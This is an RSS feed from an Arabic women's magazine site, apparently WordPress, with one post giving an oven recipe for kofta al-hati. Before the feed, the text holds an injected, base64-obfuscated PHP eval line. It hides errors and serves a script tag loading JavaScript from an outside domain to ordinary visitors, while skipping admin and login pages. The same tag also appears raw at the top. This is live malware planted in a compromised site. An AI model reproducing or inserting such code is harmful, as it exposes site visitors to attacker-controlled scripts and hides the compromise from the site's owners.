eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | كفتة الحاتي طريقة نجلاء الشرشابي</title>
	<atom:link href="https://jouzal.com/tag/%d9%83%d9%81%d8%aa%d8%a9-%d8%a7%d9%84%d8%ad%d8%a7%d8%aa%d9%8a-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d9%86%d8%ac%d9%84%d8%a7%d8%a1-%d8%a7%d9%84%d8%b4%d8%b1%d8%b4%d8%a7%d8%a8%d9%8a/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Wed, 11 Jan 2023 23:51:23 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | كفتة الحاتي طريقة نجلاء الشرشابي</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>طريقة عمل كفتة الحاتي بطريقة سهلة ولذيذة مثل المطاعم</title>
		<link>https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d9%83%d9%81%d8%aa%d8%a9-%d8%a7%d9%84%d8%ad%d8%a7%d8%aa%d9%8a-%d8%a7%d9%84%d9%84%d8%b0%d9%8a%d8%b0%d8%a9-%d9%81%d9%8a-%d8%b9%d9%8a%d8%af/</link>
		
		<dc:creator><![CDATA[سناء حسين]]></dc:creator>
		<pubDate>Fri, 09 Aug 2019 15:45:11 +0000</pubDate>
				<category><![CDATA[طبخ]]></category>
		<category><![CDATA[طريقة تحضير كفتة الحاتي]]></category>
		<category><![CDATA[طريقة تحضير كفتة الحاتي بطريقة الشيف الشربيني]]></category>
		<category><![CDATA[طريقة تحضير كفتة الحاتي بطريقة فاطمة ابو حاتي]]></category>
		<category><![CDATA[طريقة عمل كفتة الحاتي]]></category>
		<category><![CDATA[طريقة عمل كفتة الحاتي زي المحلات]]></category>
		<category><![CDATA[طريقة عمل كفتة الحاتي علي الفحم]]></category>
		<category><![CDATA[طريقة كفتة الحاتي]]></category>
		<category><![CDATA[كفتة الحاتي]]></category>
		<category><![CDATA[كفتة الحاتي بطريقة الاء الجبالي]]></category>
		<category><![CDATA[كفتة الحاتي طريقة مروة الشافعي]]></category>
		<category><![CDATA[كفتة الحاتي طريقة نجلاء الشرشابي]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=2698</guid>

					<description><![CDATA[طريقة عمل كفتة الحاتي .. كفتة الحاتي من الاكلات المميزة فى عيد الاضحي المبارك، حيث تتوفر اللحوم بشكل وفير و التى يمكنك عمل منها اصناف متعددة من الأكلات و خاصة الاكلات الشرقية، وفى هذا المقال سنقدم لكى طريقة عمل كفتة الحاتي اللذيذة، بالمقادير و الخطوات و كذلك الاسرار و الاضافات التى ستجعلها بنكهة المطاعم المميزة. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>طريقة عمل كفتة الحاتي .. كفتة الحاتي من الاكلات المميزة فى عيد الاضحي المبارك، حيث تتوفر اللحوم بشكل وفير و التى يمكنك عمل منها اصناف متعددة من الأكلات و خاصة الاكلات الشرقية، وفى هذا المقال سنقدم لكى طريقة عمل كفتة الحاتي اللذيذة، بالمقادير و الخطوات و كذلك الاسرار و الاضافات التى ستجعلها بنكهة المطاعم المميزة.</p>
<h3>المقادير</h3>
<ul>
<li>كيلو لحمة مفرومة بها نسبة 25% من الدهن(يفضل مفرومة مرتين لتكون ناعمة )</li>
<li>بصلة متوسطة مفرومة</li>
<li>بيضة</li>
<li>3 ملاعق كبار دقيق</li>
<li>ملعقة كبيرة <strong>دبس رمان </strong></li>
<li>ملح</li>
<li>فلفل اسود</li>
<li>بهارات كفتة (من العطار ) أو بهارات مشكلة</li>
<li>ملعقة خل</li>
<li>نصف ملعقة سكر</li>
<li>كيس بيكنج بودر</li>
</ul>
<h3>طريقة تحضير كفتة الحاتي</h3>
<ul>
<li>تترك اللحمة جانبا ، و نخلط جميع المكونات المتبقية معا جيدا ثم تضاف إليهم اللحمة و تعجن جيدا.</li>
<li>نحضر صينية مدهونة بملعقة من الزيت.</li>
<li>يحضر طبق به القليل من المياه يضاف إليها ملعقتين من الزيت و نصف ملعقة من السكر ( غير المقادير )</li>
<li>تشكل الكفتة على هيئة اصابع على السيخ ، و نبلل الايدى بالماء و مكوناته بالطبق.</li>
<li>تسحب الكفتة من السيخ ببطئ إلى الصينية و ترص فيها.</li>
<li>تترك فى الثلاجة و تسوى فى الفرن قبل ميعاد الغداء بنصف ساعة.</li>
<li>توضع الصينية على شبكة الفرن على درجة حرارة 230 و تترك فى الفرن لمدة من 25 إلى 30 دقيقة.</li>
<li>قبل الانتهاء من التسوية يمكنك إضافة فحمة مشتعلة مضاف إليها القليل من الزيت، و تلف فى قطعة من الألمونيوم فويل ، و تغطى الصينية بالفويل.</li>
</ul>
<h3>مميزات تحضير الكفتة بهذه الطريقة</h3>
<ul>
<li>لا تحتاج تصفية البصل و فصل الماء عن البصل.</li>
<li>الدقيق يمتص السوائل فى الكفتة.</li>
<li>البيكنج باودر يجعل الكفتة طرية اكثر و لن يقل حجمها.</li>
<li>درجة الحرارة العالية تساعد على تسوية الكفتة اسرع بدون فقدان السوائل مما يؤدى إلى احتفاظها بحجمها و كذلك تكون طرية و لن تكون قاسية المذاق بعد التسوية.</li>
<li>السكر و الخل يساعدون على تسوية اللحمة اسرع.</li>
<li>يمكنك استخدام عيدان الشيش طاووق بوضعها على شبكة الفرن ، و توضع تحتها صينية او صاج مفروش بالالمونيوم فويل لتلقى السوائل.</li>
<li>هذه الطريقة تمكنك من تسوية الكفتة بدون انتشار الدخان بالمنزل.</li>
</ul>
<h4>مقالات ذات صلة :</h4>
<ul>
<li class="post-title entry-title"><a href="https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d9%83%d8%a8%d8%b3%d8%a9-%d8%a7%d9%84%d8%af%d8%ac%d8%a7%d8%ac-%d8%a7%d9%84%d8%b3%d8%b9%d9%88%d8%af%d9%8a%d8%a9-%d8%a8%d8%b7%d8%b1%d9%8a%d9%82%d9%87/">طريقة عمل كبسة الدجاج السعودية بطريقه سهله وسريعة التحضير</a></li>
<li class="post-title entry-title"><a href="https://jouzal.com/%d8%a3%d8%b3%d9%87%d9%84-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d9%84%d8%aa%d8%ad%d8%b6%d9%8a%d8%b1-%d8%a7%d9%84%d9%83%d8%a7%d9%84%d8%b2%d9%88%d9%86%d9%8a-%d9%85%d9%86%d8%b2%d9%84%d9%8a%d8%a7/">أسهل طريقة لتحضير الكالزوني منزليا</a></li>
<li></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>